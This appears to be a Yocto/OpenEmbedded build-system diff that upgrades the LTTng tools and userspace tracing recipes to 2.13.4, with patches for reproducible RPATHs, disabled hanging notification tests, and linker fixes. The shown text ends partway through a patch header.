+++ /dev/null
@@ -1,24 +0,0 @@
-From 58e4dcce48b48b68b65bffc0cd51d9e26b44c75d Mon Sep 17 00:00:00 2001
-From: Jonathan Rajotte <jonathan.rajotte-julien@efficios.com>
-Date: Wed, 22 May 2019 16:44:54 -0400
-Subject: [PATCH] Fix: check for lttng modules presence before testing
-
-Upstream-Status: Submitted [https://lists.lttng.org/pipermail/lttng-dev/2019-May/028987.html]
-
-Signed-off-by: Jonathan Rajotte <jonathan.rajotte-julien@efficios.com>
----
- tests/regression/tools/notification/test_notification_multi_app | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/regression/tools/notification/test_notification_multi_app b/tests/regression/tools/notification/test_notification_multi_app
-index 29b0f62..a6baf65 100755
---- a/tests/regression/tools/notification/test_notification_multi_app
-+++ b/tests/regression/tools/notification/test_notification_multi_app
-@@ -484,6 +484,7 @@ else
- fi
-
- if [ "$(id -u)" == "0" ]; then
-+ validate_lttng_modules_present
- TESTS+=(
- test_multi_app_kernel
- test_on_register_evaluation_kernel
diff --git a/meta/recipes-kernel/lttng/lttng-tools/determinism.patch b/meta/recipes-kernel/lttng/lttng-tools/determinism.patch
new file mode 100644
index 0000000000..b2ab880bd6
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/determinism.patch
@@ -0,0 +1,64 @@
+This is a bit ugly. Specifing abs_builddir as an RPATH is plain wrong when
+cross compiling. Sadly, removing the rpath makes libtool/automake do
+weird things and breaks the build as shared libs are no longer generated.
+
+We already try and delete the RPATH at do_install with chrpath however
+that does leave the path in the string table so it doesn't help us
+with reproducibility.
+
+Instead, hack in a bogus but harmless path, then delete it later in
+our do_install. Ultimately we may want to pass a specific path to use
+to configure if we really do need to set an RPATH at all. It is unclear
+to me whether the tests need that or not.
+
+Fixes reproducibility issues for lttng-tools.
+
+Upstream-Status: Pending [needs discussion with upstream about the correct solution]
+RP 2021/3/1
+
+Index: lttng-tools-2.12.2/tests/regression/ust/ust-dl/Makefile.am
+===================================================================
+--- lttng-tools-2.12.2.orig/tests/regression/ust/ust-dl/Makefile.am
++++ lttng-tools-2.12.2/tests/regression/ust/ust-dl/Makefile.am
+@@ -27,16 +27,16 @@ noinst_LTLIBRARIES = libzzz.la libbar.la
+
+ libzzz_la_SOURCES = libzzz.c libzzz.h
+ libzzz_la_LDFLAGS = -module -shared -avoid-version \
+- -rpath $(abs_builddir)
++ -rpath /usr/lib
+
+ libbar_la_SOURCES = libbar.c libbar.h
+ libbar_la_LDFLAGS = -module -shared -avoid-version \
+- -rpath $(abs_builddir)
++ -rpath /usr/lib
+ libbar_la_LIBADD = libzzz.la
+
+ libfoo_la_SOURCES = libfoo.c libfoo.h
+ libfoo_la_LDFLAGS = -module -shared -avoid-version \
+- -rpath $(abs_builddir)
++ -rpath /usr/lib
+ libfoo_la_LIBADD = libbar.la
+
+ CLEANFILES = libfoo.so libfoo.so.debug libbar.so libbar.so.debug \
+@@ -44,7 +44,7 @@ CLEANFILES = libfoo.so libfoo.so.debug l
+
+ libtp_la_SOURCES = libbar-tp.h libbar-tp.c libfoo-tp.h libfoo-tp.c \
+ libzzz-tp.h libzzz-tp.c
+-libtp_la_LDFLAGS = -module -shared -rpath $(abs_builddir)
++libtp_la_LDFLAGS = -module -shared -rpath /usr/lib
+
+ # Extract debug symbols
+ libfoo.so.debug: libfoo.la
+Index: lttng-tools-2.12.2/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+===================================================================
+--- lttng-tools-2.12.2.orig/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
++++ lttng-tools-2.12.2/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+@@ -5,7 +5,7 @@ AM_CFLAGS += -O0
+ noinst_LTLIBRARIES = libfoo.la
+
+ libfoo_la_SOURCES = foo.c foo.h
+-libfoo_la_LDFLAGS = -shared -module -avoid-version -rpath $(abs_builddir)/.libs/
++libfoo_la_LDFLAGS = -shared -module -avoid-version -rpath /usr/lib
+
+ noinst_PROGRAMS = userspace-probe-elf-binary
+ userspace_probe_elf_binary_SOURCES = userspace-probe-elf-binary.c
diff --git a/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch b/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch
new file mode 100644
index 0000000000..3a77ea2e43
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch
@@ -0,0 +1,34 @@
+Upstream-Status: Inappropriate [need to root cause the test hangs]
+
+We keep seeing hangs in the tools/notifications tests on x86 and arm for
+a variety of distros. Exclude them for now to work out if this is the
+only place we see them and give SWAT/triage a break from the stream
+of them.
+
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=14263
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: lttng-tools-2.13.1/tests/regression/Makefile.am
+===================================================================
+--- lttng-tools-2.13.1.orig/tests/regression/Makefile.am
++++ lttng-tools-2.13.1/tests/regression/Makefile.am
+@@ -29,18 +29,6 @@ TESTS = tools/base-path/test_ust \
+ tools/crash/test_crash \
+ tools/regen-metadata/test_ust \
+ tools/regen-statedump/test_ust \
+- tools/notification/test_notification_ust_error \
+- tools/notification/test_notification_ust_buffer_usage \
+- tools/notification/test_notification_ust_capture \
+- tools/notification/test_notification_ust_event_rule_condition_exclusion \
+- tools/notification/test_notification_kernel_error \
+- tools/notification/test_notification_kernel_buffer_usage \
+- tools/notification/test_notification_kernel_capture \
+- tools/notification/test_notification_kernel_instrumentation \
+- tools/notification/test_notification_kernel_syscall \
+- tools/notification/test_notification_notifier_discarded_count \
+- tools/notification/test_notification_kernel_userspace_probe \
+- tools/notification/test_notification_multi_app \
+ tools/rotation/test_ust \
+ tools/rotation/test_kernel \
+ tools/rotation/test_save_load_mi \
diff --git a/meta/recipes-kernel/lttng/lttng-tools/run-ptest b/meta/recipes-kernel/lttng/lttng-tools/run-ptest
index eaa2e7b29d..c4dbe50f21 100755
--- a/meta/recipes-kernel/lttng/lttng-tools/run-ptest
+++ b/meta/recipes-kernel/lttng/lttng-tools/run-ptest
@@ -1,6 +1,7 @@
#!/bin/sh
# Without --ignore-exit, the tap harness causes any FAILs within a
# test plan to raise ERRORs; this is just noise.
+export LD_LIBRARY_PATH=FIXMEPTESTPATH/tests/utils/testapp/userspace-probe-elf-binary/.libs
makeargs="LOG_DRIVER_FLAGS=--ignore-exit top_srcdir=$PWD top_builddir=$PWD"
make -k -t all >/dev/null 2>&1
exec make -k -s $makeargs check 2>/dev/null | sed -e 's#/tmp/tmp\...........#/tmp/tmp.XXXXXXXXXX#g'
diff --git a/meta/recipes-kernel/lttng/lttng-tools/x32.patch b/meta/recipes-kernel/lttng/lttng-tools/x32.patch
deleted file mode 100644
index 42cebf94ac..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/x32.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-Fix build for x32
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
-Fix build error of src/common/utils.c for x32.
-
-Upstream-Status: Submitted [https://github.com/lttng/lttng-tools/pull/150]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-diff --git a/src/bin/lttng/utils.c b/src/bin/lttng/utils.c
-index 0e96ef0c..5c79c8c7 100644
---- a/src/bin/lttng/utils.c
-+++ b/src/bin/lttng/utils.c
-@@ -158,7 +158,7 @@ unsigned int fls_u32(uint32_t x)
- #define HAS_FLS_U32
- #endif
-
--#if defined(__x86_64)
-+#if defined(__x86_64) && !defined(__ILP32__)
- static inline
- unsigned int fls_u64(uint64_t x)
- {
-diff --git a/src/common/utils.c b/src/common/utils.c
-index 08139e5e..3c389981 100644
---- a/src/common/utils.c
-+++ b/src/common/utils.c
-@@ -1223,7 +1223,7 @@ static inline unsigned int fls_u32(uint32_t x)
- #define HAS_FLS_U32
- #endif
-
--#if defined(__x86_64)
-+#if defined(__x86_64) && !defined(__ILP32__)
- static inline
- unsigned int fls_u64(uint64_t x)
- {
diff --git a/meta/recipes-kernel/lttng/lttng-tools_2.10.7.bb b/meta/recipes-kernel/lttng/lttng-tools_2.10.7.bb
deleted file mode 100644
index aa6d19d0fa..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools_2.10.7.bb
+++ /dev/null
@@ -1,163 +0,0 @@
-SECTION = "devel"
-SUMMARY = "Linux Trace Toolkit Control"
-DESCRIPTION = "The Linux trace toolkit is a suite of tools designed \
-to extract program execution details from the Linux operating system \
-and interpret them."
-
-LICENSE = "GPLv2 & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=01d7fc4496aacf37d90df90b90b0cac1 \
- file://gpl-2.0.txt;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://lgpl-2.1.txt;md5=0f0d71500e6a57fd24d825f33242b9ca"
-
-DEPENDS = "liburcu popt libxml2 util-linux"
-RDEPENDS_${PN} = "libgcc"
-RDEPENDS_${PN}-ptest += "make perl bash gawk babeltrace procps perl-module-overloading coreutils util-linux kmod lttng-modules sed"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-RDEPENDS_${PN}-ptest_append_libc-musl = " musl-utils"
-# babelstats.pl wants getopt-long
-RDEPENDS_${PN}-ptest += "perl-module-getopt-long"
-
-PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
- am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
- PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
-"
-PACKAGECONFIG ??= "lttng-ust"
-PACKAGECONFIG[python] = "--enable-python-bindings ${PYTHON_OPTION},,python3 swig-native"
-PACKAGECONFIG[lttng-ust] = "--with-lttng-ust, --without-lttng-ust, lttng-ust"
-PACKAGECONFIG[kmod] = "--with-kmod, --without-kmod, kmod"
-PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
-PACKAGECONFIG_remove_arc = "lttng-ust"
-
-SRC_URI = "https://lttng.org/files/lttng-tools/lttng-tools-${PV}.tar.bz2 \
- file://x32.patch \
- file://run-ptest \
- file://lttng-sessiond.service \
- file://0001-Skip-when-testapp-is-not-present.patch \
- file://0002-Fix-check-for-lttng-modules-presence-before-testing.patch \
- file://0001-check-for-gettid-API-during-configure.patch \
- "
-
-SRC_URI[md5sum] = "e7804d10e4cade381e241601f6047373"
-SRC_URI[sha256sum] = "ed71ebe00c5d985c74f30e97b614e909573cbd9276c85e05d9557a0b817a1312"
-
-inherit autotools ptest pkgconfig useradd python3-dir manpages systemd
-
-SYSTEMD_SERVICE_${PN} = "lttng-sessiond.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "tracing"
-
-FILES_${PN} += "${libdir}/lttng/libexec/* ${datadir}/xml/lttng \
- ${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
-
-# Since files are installed into ${libdir}/lttng/libexec we match
-# the libexec insane test so skip it.
-# Python module needs to keep _lttng.so
-INSANE_SKIP_${PN} = "libexec dev-so"
-INSANE_SKIP_${PN}-dbg = "libexec"
-
-do_install_append () {
- # install systemd unit file
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/lttng-sessiond.service ${D}${systemd_unitdir}/system
-}
-
-do_install_ptest () {
- for f in Makefile tests/Makefile tests/utils/utils.sh tests/regression/tools/save-load/load-42*.lttng tests/regression/tools/save-load/configuration/load-42*.lttng ; do
- install -D "${B}/$f" "${D}${PTEST_PATH}/$f"
- done
-
- for f in config/tap-driver.sh config/test-driver src/common/config/session.xsd src/common/mi-lttng-3.0.xsd; do
- install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
- done
-
- # Prevent 'make check' from recursing into non-test subdirectories.
- sed -i -e 's!^SUBDIRS = .*!SUBDIRS = tests!' "${D}${PTEST_PATH}/Makefile"
-
- # We don't need these
- sed -i -e '/dist_noinst_SCRIPTS = /,/^$/d' "${D}${PTEST_PATH}/tests/Makefile"
-
- # We shouldn't need to build anything in tests/utils
- sed -i -e 's!am__append_1 = . utils!am__append_1 = . !' \
- "${D}${PTEST_PATH}/tests/Makefile"
-
- # Copy the tests directory tree and the executables and
- # Makefiles found within.
- for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${B}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- # Take all .py scripts for tests using the python bindings.
- find "${B}/tests/$d" -maxdepth 1 -type f -name "*.py" \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- test -r "${B}/tests/$d/Makefile" && \
- install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
- done
-
- for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
- for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
- cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
- case $f in
- *.so)
- install -d ${D}${PTEST_PATH}/tests/$d/
- ln -s ../$f ${D}${PTEST_PATH}/tests/$d/$f
- # Remove any rpath/runpath to pass QA check.
- chrpath --delete ${D}${PTEST_PATH}/tests/$d/$f
- ;;
- esac
- done
- done
-
- #
- # Use the versioned libs of liblttng-ust-dl.
- #
- ustdl="${D}${PTEST_PATH}/tests/regression/ust/ust-dl/test_ust-dl.py"
- if [ -e $ustdl ]; then
- sed -i -e 's!:liblttng-ust-dl.so!:liblttng-ust-dl.so.0!' $ustdl
- fi
-
- install ${B}/tests/unit/ini_config/sample.ini ${D}${PTEST_PATH}/tests/unit/ini_config/
-
- # We shouldn't need to build anything in tests/regression/tools
- sed -i -e 's!^SUBDIRS = tools !SUBDIRS = !' \
- "${D}${PTEST_PATH}/tests/regression/Makefile"
-
- # Prevent attempts to update Makefiles during test runs, and
- # silence "Making check in $SUBDIR" messages.
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
- -e '/echo "Making $$target in $$subdir"; \\/d' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' \
- -e 's/^all-am:.*/all-am:/' \
- {} +
-
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- touch -r "${B}/Makefile" {} +
-
- #
- # Need to stop generated binaries from rebuilding by removing their source dependencies
- #
- sed -e 's#\(^test.*OBJECTS.=\)#disable\1#g' \
- -e 's#\(^test.*DEPENDENCIES.=\)#disable\1#g' \
- -e 's#\(^test.*SOURCES.=\)#disable\1#g' \
- -e 's#\(^test.*LDADD.=\)#disable\1#g' \
- -i ${D}${PTEST_PATH}/tests/unit/Makefile
-
- # Substitute links to installed binaries.
- for prog in lttng lttng-relayd lttng-sessiond lttng-consumerd lttng-crash; do
- exedir="${D}${PTEST_PATH}/src/bin/${prog}"
- install -d "$exedir"
- case "$prog" in
- lttng-consumerd)
- ln -s "${libdir}/lttng/libexec/$prog" "$exedir"
- ;;
- *)
- ln -s "${bindir}/$prog" "$exedir"
- ;;
- esac
- done
-}
diff --git a/meta/recipes-kernel/lttng/lttng-tools_2.13.4.bb b/meta/recipes-kernel/lttng/lttng-tools_2.13.4.bb
new file mode 100644
index 0000000000..0ea4da05ce
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools_2.13.4.bb
@@ -0,0 +1,188 @@
+SECTION = "devel"
+SUMMARY = "Linux Trace Toolkit Control"
+DESCRIPTION = "The Linux trace toolkit is a suite of tools designed \
+to extract program execution details from the Linux operating system \
+and interpret them."
+HOMEPAGE = "https://github.com/lttng/lttng-tools"
+
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=40ef17463fbd6f377db3c47b1cbaded8 \
+ file://LICENSES/GPL-2.0;md5=e68f69a54b44ba526ad7cb963e18fbce \
+ file://LICENSES/LGPL-2.1;md5=9920968d0f2ff585ce61fae30344dd95"
+
+include lttng-platforms.inc
+
+DEPENDS = "liburcu popt libxml2 util-linux bison-native"
+RDEPENDS:${PN} = "libgcc"
+RRECOMMENDS:${PN} += "${LTTNGMODULES}"
+RDEPENDS:${PN}-ptest += "make perl bash gawk babeltrace procps perl-module-overloading coreutils util-linux kmod ${LTTNGMODULES} sed python3-core grep"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils"
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-utils"
+# babelstats.pl wants getopt-long
+RDEPENDS:${PN}-ptest += "perl-module-getopt-long"
+
+PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
+ am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
+ PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
+"
+PACKAGECONFIG ??= "${LTTNGUST} kmod"
+PACKAGECONFIG[python] = "--enable-python-bindings ${PYTHON_OPTION},,python3 swig-native"
+PACKAGECONFIG[lttng-ust] = "--with-lttng-ust, --without-lttng-ust, lttng-ust"
+PACKAGECONFIG[kmod] = "--with-kmod, --without-kmod, kmod"
+PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
+
+SRC_URI = "https://lttng.org/files/lttng-tools/lttng-tools-${PV}.tar.bz2 \
+ file://0001-tests-do-not-strip-a-helper-library.patch \
+ file://run-ptest \
+ file://lttng-sessiond.service \
+ file://determinism.patch \
+ file://disable-tests.patch \
+ "
+
+SRC_URI[sha256sum] = "565f3102410a53d484f4c8ff517978f1dc59f67f9d16f872f4357f3ca12200f6"
+
+inherit autotools ptest pkgconfig useradd python3-dir manpages systemd
+
+CACHED_CONFIGUREVARS = "PGREP=/usr/bin/pgrep"
+
+SYSTEMD_SERVICE:${PN} = "lttng-sessiond.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "tracing"
+
+FILES:${PN} += "${libdir}/lttng/libexec/* ${datadir}/xml/lttng \
+ ${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+# Since files are installed into ${libdir}/lttng/libexec we match
+# the libexec insane test so skip it.
+# Python module needs to keep _lttng.so
+INSANE_SKIP:${PN} = "libexec dev-so"
+INSANE_SKIP:${PN}-dbg = "libexec"
+
+PRIVATE_LIBS:${PN}-ptest = "libfoo.so"
+
+do_install:append () {
+ # install systemd unit file
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/lttng-sessiond.service ${D}${systemd_system_unitdir}
+}
+
+do_install_ptest () {
+ for f in Makefile tests/Makefile tests/utils/utils.sh tests/regression/tools/save-load/*.lttng \
+ tests/regression/tools/save-load/configuration/load-42*.lttng tests/regression/tools/health/test_health.sh \
+ tests/regression/tools/metadata/utils.sh tests/regression/tools/rotation/rotate_utils.sh \
+ tests/regression/tools/notification/util_event_generator.sh \
+ tests/regression/tools/base-path/*.lttng; do
+ install -D "${B}/$f" "${D}${PTEST_PATH}/$f"
+ done
+
+ for f in tests/utils/tap-driver.sh config/test-driver src/common/config/session.xsd src/common/mi-lttng-4.1.xsd; do
+ install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
+ done
+
+ # Patch in the correct path for the custom libraries a helper executable needs
+ sed -i -e 's!FIXMEPTESTPATH!${PTEST_PATH}!' "${D}${PTEST_PATH}/run-ptest"
+
+ # Prevent 'make check' from recursing into non-test subdirectories.
+ sed -i -e 's!^SUBDIRS = .*!SUBDIRS = tests!' "${D}${PTEST_PATH}/Makefile"
+
+ # We don't need these
+ sed -i -e '/dist_noinst_SCRIPTS = /,/^$/d' "${D}${PTEST_PATH}/tests/Makefile"
+
+ # We shouldn't need to build anything in tests/utils
+ sed -i -e 's!am__append_1 = . utils!am__append_1 = . !' \
+ "${D}${PTEST_PATH}/tests/Makefile"
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ # Take all .py scripts for tests using the python bindings.
+ find "${B}/tests/$d" -maxdepth 1 -type f -name "*.py" \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ case $f in
+ *.so|userspace-probe-elf-binary)
+ install -d ${D}${PTEST_PATH}/tests/$d/
+ ln -s ../$f ${D}${PTEST_PATH}/tests/$d/$f
+ # Remove any rpath/runpath to pass QA check.
+ chrpath --delete ${D}${PTEST_PATH}/tests/$d/$f
+ ;;
+ esac
+ done
+ done
+
+ chrpath --delete ${D}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary
+ chrpath --delete ${D}${PTEST_PATH}/tests/regression/ust/ust-dl/libbar.so
+ chrpath --delete ${D}${PTEST_PATH}/tests/regression/ust/ust-dl/libfoo.so
+
+ #
+ # Use the versioned libs of liblttng-ust-dl.
+ #
+ ustdl="${D}${PTEST_PATH}/tests/regression/ust/ust-dl/test_ust-dl.py"
+ if [ -e $ustdl ]; then
+ sed -i -e 's!:liblttng-ust-dl.so!:liblttng-ust-dl.so.0!' $ustdl
+ fi
+
+ install ${B}/tests/unit/ini_config/sample.ini ${D}${PTEST_PATH}/tests/unit/ini_config/
+
+ # We shouldn't need to build anything in tests/regression/tools
+ sed -i -e 's!^SUBDIRS = tools !SUBDIRS = !' \
+ "${D}${PTEST_PATH}/tests/regression/Makefile"
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ touch -r "${B}/Makefile" {} +
+
+ #
+ # Need to stop generated binaries from rebuilding by removing their source dependencies
+ #
+ sed -e 's#\(^test.*OBJECTS.=\)#disable\1#g' \
+ -e 's#\(^test.*DEPENDENCIES.=\)#disable\1#g' \
+ -e 's#\(^test.*SOURCES.=\)#disable\1#g' \
+ -e 's#\(^test.*LDADD.=\)#disable\1#g' \
+ -i ${D}${PTEST_PATH}/tests/unit/Makefile
+
+ # Fix hardcoded build path
+ sed -e 's#TESTAPP_PATH=.*/tests/regression/#TESTAPP_PATH="${PTEST_PATH}/tests/regression/#' \
+ -i ${D}${PTEST_PATH}/tests/regression/ust/python-logging/test_python_logging
+
+ # Substitute links to installed binaries.
+ for prog in lttng lttng-relayd lttng-sessiond lttng-consumerd lttng-crash; do
+ exedir="${D}${PTEST_PATH}/src/bin/${prog}"
+ install -d "$exedir"
+ case "$prog" in
+ lttng-consumerd)
+ ln -s "${libdir}/lttng/libexec/$prog" "$exedir"
+ ;;
+ *)
+ ln -s "${bindir}/$prog" "$exedir"
+ ;;
+ esac
+ done
+}
+
+INHIBIT_PACKAGE_STRIP_FILES = "\
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/.libs/userspace-probe-elf-binary \
+ "
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch
new file mode 100644
index 0000000000..cbbf1df812
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch
@@ -0,0 +1,35 @@
+From 06279f50e924d1d55b43eb3b299f6633ecb1f7a4 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 22 Sep 2021 16:33:10 +0800
+Subject: [PATCH] Makefile.am: update rpath link
+
+since commit 6339062 Move liblttng-ust to 'src/lib/',
+liblttng-ust.so/liblttng-ust-common.so/liblttng-ust-tracepoint.so
+'s location changed from one dir to multiple dirs. which make below
+error:
+ld: warning: liblttng-ust-common.so.1, needed by ../../../src/lib/lttng-ust/.libs/liblttng-ust.so, not found (try using -rpath or -rpath-link)
+ld: warning: liblttng-ust-tracepoint.so.1, needed by ../../../src/lib/lttng-ust/.libs/liblttng-ust.so, not found (try using -rpath or -rpath-link)
+
+Upstream-Status: Submitted [https://github.com/lttng/lttng-ust/pull/61]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ doc/examples/Makefile.am | 2 +-
+ 1 file changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/doc/examples/Makefile.am b/doc/examples/Makefile.am
+index 8ee0564..20d246c 100644
+--- a/doc/examples/Makefile.am
++++ b/doc/examples/Makefile.am
+@@ -142,7 +142,7 @@ all-local:
+ CFLAGS='$(CFLAGS)' \
+ AM_CFLAGS='$(AM_CFLAGS)' \
+ LDFLAGS="$(LDFLAGS)" \
+- AM_LDFLAGS='$(AM_LDFLAGS) -L../../../src/lib/lttng-ust/.libs -Wl,-rpath="$(PWD)/../../src/lib/lttng-ust/.libs/" -Wl,-rpath-link="$(PWD)/../../src/lib/lttng-ust/.libs/"' \
++ AM_LDFLAGS='$(AM_LDFLAGS) -L../../../src/lib/lttng-ust/.libs -Wl,-rpath="$(PWD)/../../src/lib/lttng-ust/.libs/" -Wl,-rpath-link="$(PWD)/../../src/lib/lttng-ust/.libs/:$(PWD)/../../src/lib/lttng-ust-tracepoint/.libs:$(PWD)/../../src/lib/lttng-ust-common/.libs/"' \
+ LTTNG_GEN_TP_PATH="$$rel_src_subdir$(top_srcdir)/tools/" \
+ AM_V_P="$(AM_V_P)" \
+ AM_V_at="$(AM_V_at)" \
+--
+2.17.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch
new file mode 100644
index 0000000000..d3c451fd2b
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch
@@ -0,0 +1,25 @@
+From 2058584b7e87d6bd9d1765577766e0df7752232c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 5 Sep 2021 10:44:19 +0200
+Subject: [PATCH] lttng-ust-common: link with liburcu explicitly
+
+Otherwise linking errors are seen on x86-32.
+
+Upstream-Status: Submitted [by email to lttng-dev, Francis, Jonathan]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/lib/lttng-ust-common/Makefile.am | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/lib/lttng-ust-common/Makefile.am b/src/lib/lttng-ust-common/Makefile.am
+index caeea2b..30febf0 100644
+--- a/src/lib/lttng-ust-common/Makefile.am
++++ b/src/lib/lttng-ust-common/Makefile.am
+@@ -15,6 +15,7 @@ liblttng_ust_common_la_SOURCES = \
+
+ liblttng_ust_common_la_LIBADD = \
+ $(top_builddir)/src/common/libcommon.la \
++ $(URCU_LIBS) \
+ $(DL_LIBS)
+
+ liblttng_ust_common_la_LDFLAGS = -no-undefined -version-info $(LTTNG_UST_LIBRARY_VERSION)
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
index c2028d0e1a..fd9b6ea7ff 100644
--- a/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
@@ -1,4 +1,4 @@
-From f79dac30af9adda12996da7f6aa6667d3b580537 Mon Sep 17 00:00:00 2001
+From dd1fdc841d069dbd4e284f430a88af79de951124 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 26 Sep 2019 17:54:00 +0800
Subject: [PATCH] python-lttngust/Makefile.am: Add --install-lib to setup.py
@@ -9,23 +9,21 @@ building.
Upstream-Status: Submitted [https://github.com/lttng/lttng-ust/pull/59]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+
---
- python-lttngust/Makefile.am | 2 +-
+ src/python-lttngust/Makefile.am | 2 +-
